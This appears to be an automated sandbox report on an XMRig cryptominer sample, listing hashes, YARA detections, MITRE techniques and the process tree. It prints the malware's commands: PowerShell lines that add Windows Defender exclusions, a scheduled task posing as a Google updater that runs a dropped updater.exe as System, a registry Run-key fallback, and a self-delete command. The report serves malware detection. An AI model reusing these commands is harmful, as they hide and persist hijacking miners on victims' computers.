xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
470s
max time network
1793s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Gu3PdXt79NF7EJXJ.exeupdater.execonhost.exe

description	pid	process	target process
PID 1676 created 1200	1676	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1676 created 1200	1676	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1676 created 1200	1676	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1676 created 1200	1676	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 2900 created 1200	2900	updater.exe	Explorer.EXE
PID 2900 created 1200	2900	updater.exe	Explorer.EXE
PID 2900 created 1200	2900	updater.exe	Explorer.EXE
PID 2900 created 1200	2900	updater.exe	Explorer.EXE
PID 1436 created 1200	1436	conhost.exe	Explorer.EXE
PID 2900 created 1200	2900	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral13/memory/2016-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2016-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2588 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2900 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1504 taskeng.exe

pid	process
2588	cmd.exe

pid	process
2900	updater.exe

pid	process
1504	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral13/memory/2016-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2016-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2900 set thread context of 1436	2900	updater.exe	conhost.exe
PID 2900 set thread context of 2016	2900	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Gu3PdXt79NF7EJXJ.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2684 schtasks.exe
1576 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1708 WMIC.exe

pid	process
2684	schtasks.exe
1576	schtasks.exe

pid	process
1708	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1034a295814eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Gu3PdXt79NF7EJXJ.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1676	Gu3PdXt79NF7EJXJ.exe
1676	Gu3PdXt79NF7EJXJ.exe
2108	powershell.exe
1676	Gu3PdXt79NF7EJXJ.exe
1676	Gu3PdXt79NF7EJXJ.exe
2104	powershell.exe
1676	Gu3PdXt79NF7EJXJ.exe
1676	Gu3PdXt79NF7EJXJ.exe
1676	Gu3PdXt79NF7EJXJ.exe
1676	Gu3PdXt79NF7EJXJ.exe
2580	powershell.exe
2900	updater.exe
2900	updater.exe
1236	powershell.exe
2900	updater.exe
2900	updater.exe
2188	powershell.exe
2900	updater.exe
2900	updater.exe
2900	updater.exe
2900	updater.exe
1436	conhost.exe
1436	conhost.exe
2900	updater.exe
2900	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	2900	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeSecurityPrivilege	1708	WMIC.exe
Token: SeTakeOwnershipPrivilege	1708	WMIC.exe
Token: SeLoadDriverPrivilege	1708	WMIC.exe
Token: SeSystemtimePrivilege	1708	WMIC.exe
Token: SeBackupPrivilege	1708	WMIC.exe
Token: SeRestorePrivilege	1708	WMIC.exe
Token: SeShutdownPrivilege	1708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1708	WMIC.exe
Token: SeUndockPrivilege	1708	WMIC.exe
Token: SeManageVolumePrivilege	1708	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeSecurityPrivilege	1708	WMIC.exe
Token: SeTakeOwnershipPrivilege	1708	WMIC.exe
Token: SeLoadDriverPrivilege	1708	WMIC.exe
Token: SeSystemtimePrivilege	1708	WMIC.exe
Token: SeBackupPrivilege	1708	WMIC.exe
Token: SeRestorePrivilege	1708	WMIC.exe
Token: SeShutdownPrivilege	1708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1708	WMIC.exe
Token: SeUndockPrivilege	1708	WMIC.exe
Token: SeManageVolumePrivilege	1708	WMIC.exe
Token: SeLockMemoryPrivilege	2016	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2104 wrote to memory of 2684	2104	powershell.exe	schtasks.exe
PID 2104 wrote to memory of 2684	2104	powershell.exe	schtasks.exe
PID 2104 wrote to memory of 2684	2104	powershell.exe	schtasks.exe
PID 2588 wrote to memory of 2148	2588	cmd.exe	choice.exe
PID 2588 wrote to memory of 2148	2588	cmd.exe	choice.exe
PID 2588 wrote to memory of 2148	2588	cmd.exe	choice.exe
PID 2580 wrote to memory of 1860	2580	powershell.exe	schtasks.exe
PID 2580 wrote to memory of 1860	2580	powershell.exe	schtasks.exe
PID 2580 wrote to memory of 1860	2580	powershell.exe	schtasks.exe
PID 1504 wrote to memory of 2900	1504	taskeng.exe	updater.exe
PID 1504 wrote to memory of 2900	1504	taskeng.exe	updater.exe
PID 1504 wrote to memory of 2900	1504	taskeng.exe	updater.exe
PID 2188 wrote to memory of 1576	2188	powershell.exe	schtasks.exe
PID 2188 wrote to memory of 1576	2188	powershell.exe	schtasks.exe
PID 2188 wrote to memory of 1576	2188	powershell.exe	schtasks.exe
PID 2900 wrote to memory of 1436	2900	updater.exe	conhost.exe
PID 3044 wrote to memory of 1708	3044	cmd.exe	WMIC.exe
PID 3044 wrote to memory of 1708	3044	cmd.exe	WMIC.exe
PID 3044 wrote to memory of 1708	3044	cmd.exe	WMIC.exe
PID 2900 wrote to memory of 2016	2900	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1200

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2684

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1576

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1356

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1436

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2148

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\system32\taskeng.exe
taskeng.exe {562AD64C-D976-4746-8644-02D41C135754} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1860

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
91KB

MD5
511cb7b0a3b25450463eb49178509cf0

SHA1
b8068a6223f23aec492be9b66b5271f94ed6a6bc

SHA256
8db1619e68a0848030171ba08d7579fc61db3f7f76091b381b1f557ecd6ffff2

SHA512
52f2612c2ab20d15e14d498d3c2b0c3171e2f457a37c335fb58500920e6976b885933119fcfd9bb2fc88595d78efd75a1a16e53978b320a6251fe3c69c52349a

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
81KB

MD5
dc01488f96e40df3f7f926d7fa83a08c

SHA1
7234e07f8c2223f308cf18cdf6a387e1b32798dc

SHA256
016f4674ca7566351c76c2160fcd85d1cd7e332ede91d0105c2f8df6c0bb0572

SHA512
16833aa29c41adb3b094864d2028aa81a7e2528f1812897252b8ba1e4c00f81e9dadbf5a1cf49874ba75bec52e707f72eb3e799fe7d7c22f873be4b9d9859a50

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5a19ef65fd8357ddefa3b9dbd218d3e5

SHA1
0c13af900195d1042942cbc7cf3daefeb251b17d

SHA256
b0b4f161f13c8f25201a69971f7c2d693fa636d16217a80f6cd9c2001d055b80

SHA512
3819558930d5a91510e28864a3464a16fa3e9fe21df534cda663c00f7c32a32a928e6003707838c5606ef7c8d9ba363066e40ecabb6a36d9973bc1fe8de2fd73

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
91KB

MD5
d8bc87825c739f37a27580c15f912a6a

SHA1
8d15b7bb7589c8924bffc8fb7b29dd6caa7aead0

SHA256
199d73a4093c7617d380bc216bfbb36e6a341e69dd3ad8a7b086a68f2b165180

SHA512
32a9fca123edd28763ae35e4b365e36c7e77342a140315dc16366067994f50554a5d5337badaf509a057c4523b1fb44a67a87b8ce4b9500562a8450d51825f33

Download Submit
memory/1236-48-0x00000000011B4000-0x00000000011B7000-memory.dmp

Filesize
12KB

Download
memory/1236-44-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1236-47-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/1236-50-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1236-49-0x00000000011BB000-0x0000000001222000-memory.dmp

Filesize
412KB

Download
memory/1236-46-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1236-45-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/1436-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1436-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1676-28-0x000000013FA70000-0x000000013FC81000-memory.dmp

Filesize
2.1MB

Download
memory/1676-0-0x000000013FA70000-0x000000013FC81000-memory.dmp

Filesize
2.1MB

Download
memory/2016-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-65-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2016-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-74-0x0000000000240000-0x0000000000260000-memory.dmp

Filesize
128KB

Download
memory/2016-73-0x0000000000210000-0x0000000000230000-memory.dmp

Filesize
128KB

Download
memory/2016-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2016-67-0x0000000000210000-0x0000000000230000-memory.dmp

Filesize
128KB

Download
memory/2016-68-0x0000000000240000-0x0000000000260000-memory.dmp

Filesize
128KB

Download
memory/2016-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2104-23-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2104-26-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-24-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
